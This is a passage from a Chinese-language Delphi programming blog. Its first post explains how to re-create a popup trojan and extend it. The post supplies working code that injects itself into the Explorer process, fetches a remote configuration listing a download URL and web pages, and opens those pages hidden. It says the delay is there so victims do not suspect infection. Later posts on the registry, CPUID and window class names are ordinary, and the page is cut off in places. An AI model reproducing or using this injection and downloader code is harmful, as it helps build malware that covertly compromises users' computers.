模仿实现上兴弹窗器功能delphi代码以及功能扩充

上兴弹窗器r2..
下载地址 http://www.3800hk.com/Soft/zhly/16283.html
弹窗器功能简介:

隐蔽:生成的服务端插入IE,穿防火墙,服务启动,隐蔽性强。

动态配置:采用读取网页空间上的配置进行弹窗,用户可随时更换配置文件。

还配置有下载者,一个相同文件只会下载一次,不会重复下载!

等对方打开浏览器才开始计时弹窗,主要防止对方怀疑中了木马!

共可按顺序设置弹十个网址,可设置间隔时间,如弹第一个后隔N秒后弹第二个...

首先代码是插入 IE 运行的,,这里我们就调用老熊曾经发布的一个下载者代码中插入 EXP进程的代码吧..

program inexp;


{$IMAGEBASE $13140000}

uses
Windows;

procedure main;

begin
//sleep(3000);//此处为了实现上兴弹窗的开机延时下载..
MessageBox(0, '插入EXP进程OK!!', '提示', mb_iconinformation);
end;

var
hModule, hModule_News: Pointer;
Extent, Size, ThreadId: longword;
ProcessHandle, Pid: longword;

begin
GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);
//获取Exp进程的PID码,Shell_TrayWnd为类名,相关的需用SPY++来查看

ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); //打开进程

hModule := Pointer(GetModuleHandle(nil));
//这里得到的值为一个返回一个指针型变量,指向内容包括自身映像的基址和长度

Extent := PImageOptionalHeader(Pointer(integer(hModule) + PImageDosHeader(hModule)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
//得到内存映像的长度

VirtualFreeEx(ProcessHandle, hModule, 0, MEM_RELEASE);
//在Exp进程的内存范围内分配一个足够长度的内存

hModule_News := VirtualAllocEx(ProcessHandle, hModule, Extent, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//确定起始基址和内存映像基址的位置

WriteProcessMemory(ProcessHandle, hModule_News, hModule, Extent, Size);
//确定上面各项数据后,这里开始进行操作

CreateRemoteThread(ProcessHandle, nil, 0, @main, hModule, 0, ThreadId);
//建立远程线程,至此注入过程完成

CloseHandle(ProcessHandle);
//关闭对像

end.

这样就会插入EXP进程执行 main 中的代码....

现在我们就要在 main 中写我们要实现的功能了...

上兴弹窗器的下载地址,以及要打开的网页,还有是否打开..都是存放在固定URL地址中的TXT中..

所以,我们首先要实现取得固定URL地址下TXT的代码...这个可以调用灰鸽子源代码中的FTP更新模块方法..有取得固定URL下JPG内容的代码.同时还支持其他的,比如BMP,ASP,WMV,RAR,ZIP.....好多的..可以自己改后缀测试...

这里我给个 delphi 简单的...

program geturl;

uses
wininet,
windows;

//取网页内容
function StrPas(const Str: PChar): string;
begin
Result := Str;
end;
function GetWebPage(const Url: string):string;
var
Session,
HttpFile:HINTERNET;
szSizeBuffer:Pointer;
dwLengthSizeBuffer:DWord;
dwReserved:DWord;
dwFileSize:DWord;
dwBytesRead:DWord;
Contents:PChar;
begin
Session:=InternetOpen('',0,niL,niL,0);
HttpFile:=InternetOpenUrl(Session,PChar(Url),niL,0,0,0);
dwLengthSizeBuffer:=1024;
HttpQueryInfo(HttpFile,5,szSizeBuffer,dwLengthSizeBuffer,dwReserved);
GetMem(Contents,dwFileSize);
InternetReadFile(HttpFile,Contents,dwFileSize,dwBytesRead);
InternetCloseHandle(HttpFile);
InternetCloseHandle(Session);
Result:=StrPas(Contents);
FreeMem(Contents);
end;

调用方法 GetWebPage(pchar('http://www.163.com/1.txt));

好了,至此我们已经实现了插进程,读指定URL内容的功能...

上兴弹窗器生成的TXT格式为:

|下载者地址|是否打开网页1|和下载者间隔X秒打开网页1||网页1地址|是否打开网页2|和网页1间隔X秒|网业2地址|........依次类推,,直到网页10....

OK..格式知道了..我们来给他具体化吧...

|http://www.163.com/1.exe|1|5|http://www.163.com|1|5|http://www.baidu.com|

假定我们的TXT内容为这个,拿了一个下载地址,和 2 个网页地址做示范的,可根据自己需要扩充..

以下将对这些字符串进行处理,分离出下载地址,网页地址这些信息...

用到函数...

//取两个字符之间的数
function GetChars(AString: string; fChar, EChar: char): String;
var
i, tmpPos: Integer;
begin
Result := '';
tmpPos := Pos(fChar, AString);
if tmpPos = 0 then
exit;
for i := tmpPos + 1 to Length(AString) do
begin
if AString = EChar then
break;
Result := Result + AString;
end;
end;

例如将取得的TXT内容赋值给变量S..那么...
定义一个变量 downurl:string;
调用方法 downurl:=getchars(s,'|','|');
这将取得 S 中 第一对 | | 之间的字符串,,也就是..
下载地址 http://www.163.com/1.exe ...

得到地址后下载的方法就太简单了.到处都有..这里我就不说了..

接着需要将字符串S中的下载地址部分删除掉,得到新的S内容..

定义一个变量 strlength:integer;
strlength:= length(downurl)+1;//加一的原因是,,前边还有个 | ...呵呵..
delete(s,1,strlength);
那么.将从 s 的第一位删除,直到 downurl 的最后一个字符..
意思就是,,S的内容将变为新的.
|1|5|http://www.163.com|1|5|http://www.baidu.com|
剩下的是否打开,,打开间隔..无非也就是重复以上的操作...

我们还可以将上兴弹窗器的功能做些扩充..

例如下载者上面..可以在前边加上版本号..防止重复下载...
打开网页方面可以增加是否隐藏打开这些...
关于下载者防止重复下载,,昨天已经在小熊论坛上发了一贴.
地址 http://www.mybr.org/read.php?tid=1082
在此就不重复了..
隐藏打开网页方面..我就给具体实现代码吧...

//取IE路径
function GetIEAppPath:string;
var
iekey: Hkey;
iename: array [0..255] of char;
vType,dLength :DWORD;
begin
vType := REG_SZ;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE',0,KEY_ALL_ACCESS,iekey);
dLength := SizeOf(iename);
if RegQueryValueEx(iekey, '' , nil, @vType, @iename[0], @dLength) = 0 then
Result := iename
else
Result := 'C:\Program Files\Internet Explorer\IEXPLORE.EXE';
RegCloseKey(iekey);
end;

打开网页..
ShellExecute(self,'', pChar(网页地址),'','',SW_show);
隐藏打开网页
WinExec(pchar(pchar(pchar(GetIEAppPath)+' ')+网页地址), SW_hide);

ShellExecute的功能是运行一个外部程序(或者是打开一个已注册的文件、打开一个目录、打印一个文件等等),并对外部程序有一定的控制。
有几个API函数都可以实现这些功能,但是在大多数情况下ShellExecute是更多的被使用的,同时它并不是太复杂。下面举例说明它的用法。
开始一个新的应用程序
ShellExecute(Handle, 'open', PChar(

delphi 操作注册表 不指定

青色咖啡 , 2009/03/31 22:36 , delphi基础 , 评论(0) , 阅读(315) , Via 本站原创
32位Delphi程序中可利用TRegistry对象来存取注册表文件中的信息。    
    一、创建和释放TRegistry对象  
    1.创建TRegistry对象。为了操作注册表,要创建一个TRegistry对象:ARegistry   :=   TRegistry.Create;  
    2.释放TRegistry对象。对注册表操作结束后,应释放TRegistry对象所占内存:ARegistry.Destroy。  
 

DELPHI获取CPU信息 不指定

青色咖啡 , 2009/03/31 19:36 , delphi基础 , 评论(0) , 阅读(310) , Via 本站原创

DELPHI获取CPU信息
一、获取CPU厂家信息

Const
CPUVendorIDs
:array[0..5] of string = ('GenuineIntel','UMC UMC
UMC','AuthenticAMD','CyrixInstead','NexGenDriven','CentaurHauls');
//将CPU厂家信息转换成字串形式
CPUVendors :array[0..5] of string = ('Intel','UMC','AMD','Cyrix','NexGen','CentaurHauls');

type TVendor = array [0..11] of char;

// 获取CPU厂家信息,返回值为TVendor类型
function GetCPUVendor : TVendor; assembler; register;
asm
PUSH EBX
PUSH EDI
MOV EDI,EAX
MOV EAX,0
DW $A20F //CPUID指令
MOV EAX,EBX
XCHG EBX,ECX
MOV ECX,4
@1:
STOSB
SHR EAX,8
LOOP @1
MOV EAX,EDX
MOV ECX,4
@2:
STOSB
SHR EAX,8
LOOP @2
MOV EAX,EBX
MOV ECX,4
@3:
STOSB
SHR EAX,8
LOOP @3
POP EDI
POP EBX
end;
调用方式:
var
Vendor: string;
VendorID, I: integer;
begin
Vendor := GetCPUVendor;
for i := 0 to High(CPUVendorIDs) do
begin
If Vendor = CPUVendorIDs[I] then
begin
Vendor := CPUVendors[I]; //把厂家信息精简一下,好看多了
VendorID := i;
break;
end;
end;
end;


二、获取CPU类型信息
const ID_BIT=$200000; //CPU ID 位标记
type TCPUID=array[1..4] of Longint;

//判断CPUID信息是否有效
function IsCPUIDAvailable : Boolean; register;
asm
PUSHFD //不允许直接存取,必须通过堆栈
POP EAX
MOV EDX,EAX
XOR EAX,ID_BIT
PUSH EAX
POPFD
PUSHFD
POP EAX
XOR EAX,EDX //检测ID位是否受影响
JZ @exit //CPUID无效
MOV AL,True //CPUID无效
@exit:
end;

//获取CPUID信息,返回值为TCPUID类型
function GetCPUID : TCPUID; assembler; register;
asm
PUSH EBX
PUSH EDI
MOV EDI,EAX
MOV EAX,1
DW $A20F //CPUID指令
STOSD //CPUID[1]
MOV EAX,EBX
STOSD //CPUID[2]
MOV EAX,ECX
STOSD //CPUID[3]
MOV EAX,EDX
STOSD //CPUID[4]
POP EDI
POP EBX
end;
具体使用方法:
const
CPUSubModels: array[0..4] of string = ('Primary','OverDrive','Secondary','Reserved','Not Detected');
var
CPUID: TCPUID;
SubModel: string;
SubModelID, Family, Model, Stepping: Integer;
begin
//如果CPUID信息有效
if IsCPUIDAvailable then
begin
fillchar(CPUID, sizeof(CPUID), -1);
CPUID := GetCPUID;
SubModelID := CPUID[1] shr 12 and 3;
Family := CPUID[1] shr 8 and $F;
Model := CPUID[1] shr 4 and $F;
Stepping:= CPUID[1] and $F;
if SubModelID < 4 then
SubModel := CPUSubModels[SubModelID]
else
SubModel := CPUSubModels[4];
end;
end;

由所获取的信息,可在下表中找出相应的CPU类型

Family VendorID Model CPU类型
4 0 0 i80486DX-25/33
1 i80486DX-50
2 i80486SX
3 i80486DX2
4 i80486SL
5 i80486SX2
7 i80486DX2WB
8 i80486DX4
9 i80486DX4WB
4 1 1 U5D(486DX)
2 U5S(486SX)
4 2 3 80486DX2WT
7 80486DX2WB
8 80486DX4
9 80486DX4WB
14 5x86
15 5x86WB
4 3 4 Cyrix Media GX
9 Cyrix 5x86
5 0 0 P5 A-step
1 P5
2 P54C
3 P24T OverDrive
4 P55C
5 DX4 OverDrive?
6 P5 OverDrive?
7 P54C
8 P55C(0.25)MMX
5 2 0 SSA5
1 5k86
2 5k86
3 5k86
6 K6
7 K6
8 K6-3D
9 K6PLUS-3D
5 3 0 Pentium Cx6X86 GXm
2 Std. Cx6x86
4 Cx6x86 GXm
5 4 - Nx586
5 5 - IDT C6 (WinChip)
6 0 0 PentiumPro A-step
1 Pentium Pro
3 Pentium II
4 P55CT (P54 overdrive)
5 Pentium II (0.25)
6 2 6 K6
7 K6
8 K6-3D
9 K6PLUS-3D
6 3 0 Cx6x86 MX/MII
很遗憾,没能找到最新的资料。哪位朋友有的,帮忙给我一份,谢谢。


三、查看CPU所支持的功能/技术

if (CPUID[4] and $800000)<>0 then
//支持MMX指令
else
//不支持


//CPU是否支持3DNow技术
function Is3DNowSupport: Boolean; assembler;
asm
push ebx
mov @Result, True
mov eax, $80000000 //查询扩展功能
dw $A20F
cmp eax, $80000000 //是否支持8000_0001h扩展功能
jbe @NOEXTENDED //不支持
mov eax, $80000001 //起动8000_0001h扩展功能
dw $A20F
test edx, $80000000 //测试第31位
jnz @EXIT //支持
@NOEXTENDED:
mov @Result, False
@EXIT:
pop ebx
end;

四、检测CPU实际运行频率
//获取CPU实际运行频率,返回值以MHz为单位
function GetCPUSpeed: Double;
const
DelayTime = 500;
var
TimerHi, TimerL DWORD;
PriorityClass, Priority: Integer;
begin
PriorityClass := GetPriorityClass(GetCurrentProcess);
Priority := GetThreadPriority(GetCurrentThread);

SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_TIME_CRITICAL);

Sleep(10);
asm
dw 310Fh // RDTSC指令
mov TimerLo, eax
mov TimerHi, edx
end;
Sleep(DelayTime);
asm
dw 310Fh // rdtsc
sub eax, TimerLo
sbb edx, TimerHi
mov TimerLo, eax
mov TimerHi, edx
end;

SetThreadPriority(GetCurrentThread, Priority);
SetPriorityClass(GetCurrentProcess, PriorityClass);

Result := TimerLo / (1000.0 * DelayTime);
end;

delphi 动态类名。。。 不指定

青色咖啡 , 2009/03/28 13:17 , 个人作品 , 评论(0) , 阅读(427) , Via 本站原创
delphi 动态类名。。。
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    procedure CreateParams(var Parames:TCreateParams);override;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

{ TForm1 }

procedure TForm1.Button1Click(Sender: TObject);
var
  Name:array[0..MAXBYTE] of char;
begin
  GetClassName(Handle,Name,255);
  ShowMessage(Name);
end;

procedure TForm1.CreateParams(var Parames: TCreateParams);
begin
  inherited CreateParams(Parames);
  Parames.WinClassName:='your class name';
end;

end.
分页: 10/26 第一页 上页 5 6 7 8 9 10 11 12 13 14 下页 最后页 [ 显示模式: 摘要 | 列表 ]